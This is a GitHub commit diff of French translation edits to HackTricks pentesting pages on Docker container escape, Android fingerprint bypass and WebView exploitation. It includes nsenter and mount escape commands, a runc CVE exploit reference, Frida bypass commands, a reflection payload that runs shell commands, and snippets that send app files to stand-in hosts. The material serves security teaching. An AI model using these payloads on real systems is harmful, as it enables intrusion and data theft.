mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['linux-hardening/privilege-escalation/docker-security/docker
This commit is contained in:
parent
8ed40961b0
commit
77db8f6d2e
4 changed files with 92 additions and 109 deletions
|
@ -23,7 +23,7 @@ Obtenez un accès aujourd'hui :
|
|||
## Énumération et évasion automatiques
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) : Il peut également **énumérer les conteneurs**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est très **utile pour énumérer le conteneur dans lequel vous vous trouvez, voire essayer de vous échapper automatiquement**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est assez **utile pour énumérer le conteneur dans lequel vous vous trouvez, voire essayer de vous échapper automatiquement**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained) : Outil utile pour obtenir les privilèges dont dispose le conteneur afin de trouver des moyens de s'en échapper
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce) : Outil pour énumérer et s'échapper des conteneurs
|
||||
* [**grype**](https://github.com/anchore/grype) : Obtenez les CVE contenues dans les logiciels installés dans l'image
|
||||
|
@ -55,7 +55,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
|||
Dans le cas où le **socket docker est à un endroit inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///chemin/vers/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
Le démon Docker peut également être [en écoute sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`.
|
||||
Le démon Docker peut également [écouter sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`.
|
||||
|
||||
{% hint style="info" %}
|
||||
De plus, faites attention aux sockets d'exécution des autres runtimes de haut niveau :
|
||||
|
@ -102,7 +102,7 @@ Le drapeau `--privileged` présente des problèmes de sécurité importants, et
|
|||
[docker-privileged.md](../docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Privileged + hostPID
|
||||
### Privilégié + hostPID
|
||||
|
||||
Avec ces autorisations, vous pouvez simplement **passer à l'espace de noms d'un processus s'exécutant sur l'hôte en tant que root**, comme init (pid:1), en exécutant simplement : `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
|
@ -372,13 +372,13 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### Élévation de privilèges avec 2 shells
|
||||
|
||||
Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez exploiter les deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans cet article**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez exploiter les deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans cet article**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Avec cette capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphérique bloc**. Les fichiers de périphérique sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique bloc /dev/sda permet d'**accéder aux données brutes du disque du système**.
|
||||
|
||||
Docker veille à ce que les périphériques bloc **ne puissent pas être utilisés de manière abusive à partir du conteneur** en définissant une politique cgroup sur le conteneur qui bloque la lecture et l'écriture des périphériques bloc.\
|
||||
Cependant, si un périphérique bloc est **créé à l'intérieur du conteneur, il peut être accédé** via le dossier /proc/PID/root/ par quelqu'un **à l'extérieur du conteneur**, à condition que le **processus soit détenu par le même utilisateur** à l'extérieur et à l'intérieur du conteneur.
|
||||
|
||||
Exemple d'**exploitation** à partir de ce [**rapport**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
Exemple d'**exploitation** à partir de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
@ -441,7 +441,7 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
Vous pouvez également **arrêter des processus et provoquer un déni de service**.
|
||||
Vous pouvez également **arrêter des processus et provoquer un déni de service (DoS)**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si vous avez d'une manière ou d'une autre un **accès privilégié à un processus en dehors du conteneur**, vous pouvez exécuter quelque chose comme `nsenter --target <pid> --all` ou `nsenter --target <pid> --mount --net --pid --cgroup` pour **exécuter un shell avec les mêmes restrictions de namespace** (espérons-le, aucune) **que ce processus**.
|
||||
|
@ -466,7 +466,7 @@ Vous pourrez également accéder aux **services réseau liés à localhost** à
|
|||
```
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Si vous avez uniquement `hostIPC=true`, il est probable que vous ne puissiez pas faire grand-chose. Si un processus sur l'hôte ou tout autre processus dans un autre pod utilise les **mécanismes de communication inter-processus** de l'hôte (mémoire partagée, tableaux de sémaphores, files de messages, etc.), vous pourrez lire/écrire sur ces mêmes mécanismes. Le premier endroit où vous voudrez regarder est `/dev/shm`, car il est partagé entre tout pod avec `hostIPC=true` et l'hôte. Vous voudrez également vérifier les autres mécanismes IPC avec `ipcs`.
|
||||
Si vous avez uniquement `hostIPC=true`, vous ne pourrez probablement pas faire grand-chose. Si un processus sur l'hôte ou un processus dans un autre pod utilise les **mécanismes de communication inter-processus** de l'hôte (mémoire partagée, tableaux de sémaphores, files de messages, etc.), vous pourrez lire/écrire sur ces mêmes mécanismes. Le premier endroit où vous voudrez regarder est `/dev/shm`, car il est partagé entre tout pod avec `hostIPC=true` et l'hôte. Vous voudrez également vérifier les autres mécanismes IPC avec `ipcs`.
|
||||
|
||||
* **Inspecter /dev/shm** - Recherchez les fichiers dans cet emplacement de mémoire partagée : `ls -la /dev/shm`
|
||||
* **Inspecter les installations IPC existantes** - Vous pouvez vérifier si des installations IPC sont utilisées avec `/usr/bin/ipcs`. Vérifiez avec : `ipcs -a`
|
||||
|
@ -481,12 +481,12 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
### Abus de l'espace de noms utilisateur via un lien symbolique
|
||||
|
||||
La deuxième technique expliquée dans l'article [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indique comment vous pouvez abuser des montages liés avec des espaces de noms utilisateur pour affecter les fichiers à l'intérieur de l'hôte (dans ce cas spécifique, supprimer des fichiers).
|
||||
La deuxième technique expliquée dans l'article [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indique comment vous pouvez abuser des montages liés avec des espaces de noms utilisateur pour affecter les fichiers à l'intérieur de l'hôte (dans ce cas spécifique, supprimer des fichiers).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Obtenez un accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -494,7 +494,7 @@ Accédez dès aujourd'hui :
|
|||
|
||||
### Exploitation de Runc (CVE-2019-5736)
|
||||
|
||||
Dans le cas où vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous pouvez essayer d'escalader les privilèges en vous échappant d'un conteneur en abusant de CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** à partir d'un conteneur, de sorte que toute personne exécutant docker exec peut déclencher la charge utile.
|
||||
Dans le cas où vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous pouvez essayer d'escalader les privilèges en échappant à un conteneur en abusant de CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** à partir d'un conteneur, de sorte que toute personne exécutant docker exec peut déclencher la charge utile.
|
||||
|
||||
Modifiez la charge utile en conséquence et compilez main.go avec `go build main.go`. Le binaire résultant doit être placé dans le conteneur Docker pour être exécuté.\
|
||||
Lors de l'exécution, dès qu'il affiche `[+] Overwritten /bin/sh successfully`, vous devez exécuter la commande suivante depuis la machine hôte :
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -16,13 +16,13 @@ Ces méthodes ont été copiées depuis [https://securitycafe.ro/2022/09/05/mobi
|
|||
|
||||
## **Méthode 1 - Lorsque l'objet crypto n'est pas utilisé**
|
||||
|
||||
La mise en œuvre de l'authentification repose sur l'appel du rappel _**onAuthenticationSucceded**_ . Les chercheurs de F-Secure ont développé un [**script Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) qui peut être utilisé pour **contourner** l'objet _**CryptoObject**_ NULL dans _**onAuthenticationSucceeded(…)**_. Le script contournera automatiquement l'empreinte digitale lorsque la méthode susmentionnée est appelée. Voici un court exemple qui montre le contournement pour l'empreinte digitale Android. L'application complète peut être téléchargée depuis mon [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
La mise en œuvre de l'authentification repose sur l'appel du rappel _**onAuthenticationSucceded**_. Les chercheurs de WithSecure ont développé un [**script Frida**](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) qui peut être utilisé pour **contourner** le _**CryptoObject**_ NULL dans _**onAuthenticationSucceeded(…)**_. Le script contournera automatiquement l'empreinte digitale lorsque la méthode mentionnée ci-dessus est appelée. Voici un court exemple qui montre le contournement pour l'empreinte digitale Android. L'application complète peut être téléchargée depuis mon [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) {
|
||||
Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
|
||||
}
|
||||
@Override
|
||||
public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) {
|
||||
Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
|
@ -31,13 +31,13 @@ frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-by
|
|||
```
|
||||
### **Méthode 2 - Gestion des exceptions**
|
||||
|
||||
Ce [**script Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) développé par F-Secure peut être utilisé pour contourner l'utilisation non sécurisée de l'objet crypto. Tout ce que le script doit faire est d'appeler manuellement _**onAuthenticationSucceded**_ avec un _**CryptoObject**_ **non autorisé** (non déverrouillé par empreinte digitale) stocké dans le Keystore. Le problème est que si l'application tente d'utiliser un autre objet de chiffrement, alors une **exception sera levée**. Ce script tentera d'appeler _**onAuthenticationSucceded**_ et de capturer l'exception _**javax.crypto.IllegalBlockSizeException**_ dans la classe _Cipher_. Désormais, **tous les objets utilisés par l'application seront chiffrés à l'aide de cette nouvelle clé**.
|
||||
Ce [**script Frida**](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) développé par WithSecure peut être utilisé pour contourner l'utilisation non sécurisée de l'objet crypto. Tout ce que le script doit faire, c'est appeler manuellement _**onAuthenticationSucceded**_ avec un _**CryptoObject**_ non autorisé (non déverrouillé par empreinte digitale) stocké dans le Keystore. Le problème est que si l'application tente d'utiliser un autre objet de chiffrement, une **exception sera levée**. Ce script tentera d'appeler _**onAuthenticationSucceded**_ et de capturer l'exception _**javax.crypto.IllegalBlockSizeException**_ dans la classe _Cipher_. Désormais, **tous les objets utilisés par l'application seront chiffrés à l'aide de cette nouvelle clé**.
|
||||
```
|
||||
frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
|
||||
```
|
||||
Maintenant, allez sur l'écran d'empreinte digitale et attendez que la fonction _authenticate()_ soit appelée. Une fois que vous la voyez à l'écran, tapez _**bypass()**_ dans la console Frida :
|
||||
Maintenant, allez à l'écran d'empreinte digitale et attendez que la fonction _authenticate_() soit appelée. Une fois que vous voyez cela à l'écran, tapez _**bypass()**_ dans la console Frida :
|
||||
```
|
||||
Spawning `com.st3v3nss.insecurebankingfingerprint`...
|
||||
Spawning `com.st3v3nss.insecurebankingfingerprint`...
|
||||
[Android Emulator 5554::com.st3v3nss.insecurebankingfingerprint ]-> Hooking BiometricPrompt.authenticate()...
|
||||
Hooking BiometricPrompt.authenticate2()...
|
||||
Hooking FingerprintManager.authenticate()...
|
||||
|
@ -47,10 +47,10 @@ Hooking FingerprintManager.authenticate()...
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -116,7 +116,7 @@ webView.reload();
|
|||
<!-- Exploit to get the secret from JavaScript -->
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
Avec accès au code JavaScript, par exemple via une attaque **XSS** stockée, une attaque **MITM** ou un **site web malveillant** chargé dans le WebView, il est possible d'appeler directement les méthodes Java exposées.
|
||||
Avec accès au code JavaScript, par exemple, via une attaque **XSS** stockée, une attaque **MITM** ou un **site web malveillant** chargé dans le WebView, il est possible d'appeler directement les méthodes Java exposées.
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que dans le cas de tentative d'exploitation de cette vulnérabilité via une **redirection ouverte vers une page web d'un attaquant qui accède à l'objet Android natif**. Si l'accès à la redirection se fait via un **navigateur mobile** et **non en utilisant** le même **WebView**, le **navigateur ne pourra pas accéder à l'objet Android natif**.
|
||||
|
@ -125,12 +125,12 @@ Notez que dans le cas de tentative d'exploitation de cette vulnérabilité via u
|
|||
Si `addJavascriptInterface` est nécessaire, prenez en compte les considérations suivantes :
|
||||
|
||||
* **Seul le JavaScript fourni** avec l'APK devrait être autorisé à utiliser les ponts, par exemple en vérifiant l'URL sur chaque méthode Java reliée (via `WebView.getUrl`).
|
||||
* **Aucun JavaScript ne devrait être chargé à partir de points d'accès distants**, par exemple en maintenant la navigation de page dans les domaines de l'application et en ouvrant tous les autres domaines dans le navigateur par défaut (par exemple, Chrome, Firefox).
|
||||
* Si nécessaire pour des raisons de compatibilité (par exemple, pour prendre en charge les anciens appareils), **définissez au moins le niveau minimal de l'API sur 17** dans le fichier manifeste de l'application (`<uses-sdk android:minSdkVersion="17" />`).
|
||||
* **Aucun JavaScript ne doit être chargé à partir de points d'extrémité distants**, par exemple en maintenant la navigation de la page dans les domaines de l'application et en ouvrant tous les autres domaines dans le navigateur par défaut (par exemple, Chrome, Firefox).
|
||||
* Si nécessaire pour des raisons de compatibilité (par exemple, pour prendre en charge les anciens appareils), **définissez au moins le niveau d'API minimal sur 17** dans le fichier manifeste de l'application (`<uses-sdk android:minSdkVersion="17" />`).
|
||||
|
||||
### Pont JavaScript vers RCE via Reflection
|
||||
|
||||
Comme indiqué dans [**cette recherche**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_consultez-la pour des idées en cas d'obtention de RCE_), une fois que vous avez trouvé un pont JavaScript, il est possible d'obtenir **RCE** via **Reflection** en utilisant une charge utile comme celle-ci :
|
||||
Comme indiqué dans [**cette recherche**](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_consultez-la pour des idées au cas où vous obtiendriez une RCE_), une fois que vous avez trouvé un pont JavaScript, il est possible d'obtenir une **RCE** via **Reflection** en utilisant une charge utile comme celle-ci :
|
||||
```markup
|
||||
<!-- javascriptBridge is the name of the Android exposed object -->
|
||||
<script>
|
||||
|
@ -140,7 +140,7 @@ return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRu
|
|||
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
|
||||
</script>
|
||||
```
|
||||
Cependant, les applications modernes peuvent utiliser l'annotation **`@JavascriptInterface`** qui indique au JavascriptBridge que seule la méthode avec cette annotation doit être **exposée**. Dans ce scénario, vous ne pourrez pas abuser de la réflexion pour exécuter du code arbitraire.
|
||||
Cependant, les applications modernes peuvent utiliser l'annotation **`@JavascriptInterface`** qui indique au JavascriptBridge que seule la méthode avec cette annotation doit être exposée. Dans ce scénario, vous ne pourrez pas abuser de la réflexion pour exécuter du code arbitraire.
|
||||
|
||||
### Débogage à distance
|
||||
|
||||
|
@ -178,50 +178,33 @@ Les charges utiles sont des morceaux de code malveillant qui sont injectés dans
|
|||
|
||||
Pour exfiltrer des fichiers, vous pouvez utiliser les méthodes suivantes :
|
||||
|
||||
1. **Injection de JavaScript** : Vous pouvez injecter du code JavaScript dans la WebView de l'application pour accéder aux fichiers locaux et les envoyer à un serveur distant.
|
||||
1. **Injection de JavaScript** : Si l'application utilise une WebView pour afficher du contenu Web, vous pouvez injecter du code JavaScript pour accéder aux fichiers locaux de l'application et les envoyer à un serveur distant.
|
||||
|
||||
```javascript
|
||||
var file = "/data/data/com.example.app/files/sensitive_file.txt";
|
||||
fetch(file)
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
// Envoyer le contenu du fichier à un serveur distant
|
||||
fetch("https://example.com/leak", {
|
||||
method: "POST",
|
||||
body: data
|
||||
});
|
||||
});
|
||||
```
|
||||
```javascript
|
||||
var file = "/data/data/com.example.app/files/myfile.txt";
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "http://yourserver.com/upload?file=" + file, true);
|
||||
xhr.send();
|
||||
```
|
||||
|
||||
2. **Utilisation de l'API WebView** : Vous pouvez utiliser l'API WebView pour accéder aux fichiers locaux de l'application et les envoyer à un serveur distant.
|
||||
2. **Utilisation de l'API Java** : Si l'application expose des interfaces Java personnalisées, vous pouvez utiliser ces interfaces pour accéder aux fichiers locaux et les envoyer à un serveur distant.
|
||||
|
||||
```java
|
||||
WebView webView = new WebView(context);
|
||||
webView.loadUrl("javascript:fetch('/data/data/com.example.app/files/sensitive_file.txt')" +
|
||||
".then(response => response.text())" +
|
||||
".then(data => {" +
|
||||
" fetch('https://example.com/leak', {" +
|
||||
" method: 'POST'," +
|
||||
" body: data" +
|
||||
" });" +
|
||||
"});");
|
||||
```
|
||||
```java
|
||||
File file = new File("/data/data/com.example.app/files/myfile.txt");
|
||||
FileInputStream fis = new FileInputStream(file);
|
||||
byte[] buffer = new byte[(int) file.length()];
|
||||
fis.read(buffer);
|
||||
fis.close();
|
||||
// Envoyer le fichier à un serveur distant
|
||||
```
|
||||
|
||||
3. **Utilisation de l'intercepteur de requêtes** : Vous pouvez utiliser un intercepteur de requêtes pour capturer les requêtes sortantes de l'application et extraire les fichiers avant qu'ils ne soient envoyés.
|
||||
3. **Utilisation d'une bibliothèque tierce** : Si l'application utilise une bibliothèque tierce qui permet l'accès aux fichiers locaux, vous pouvez utiliser cette bibliothèque pour exfiltrer les fichiers.
|
||||
|
||||
```java
|
||||
webView.setWebViewClient(new WebViewClient() {
|
||||
@Override
|
||||
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
|
||||
if (request.getUrl().toString().equals("https://example.com/leak")) {
|
||||
// Extraire le fichier et l'envoyer à un serveur distant
|
||||
String fileContent = readFile("/data/data/com.example.app/files/sensitive_file.txt");
|
||||
sendFileToServer(fileContent);
|
||||
}
|
||||
return super.shouldInterceptRequest(view, request);
|
||||
}
|
||||
});
|
||||
```
|
||||
```java
|
||||
File file = new File("/data/data/com.example.app/files/myfile.txt");
|
||||
ThirdPartyLibrary library = new ThirdPartyLibrary();
|
||||
library.uploadFile(file);
|
||||
```
|
||||
|
||||
Il est important de noter que l'exfiltration de fichiers arbitraires est une violation de la vie privée et peut être illégale. Vous devez toujours obtenir une autorisation appropriée avant de procéder à de telles actions lors d'un test de pénétration.
|
||||
```javascript
|
||||
|
@ -245,7 +228,7 @@ xhr.send(null);
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
## Laravel
|
||||
# Laravel
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
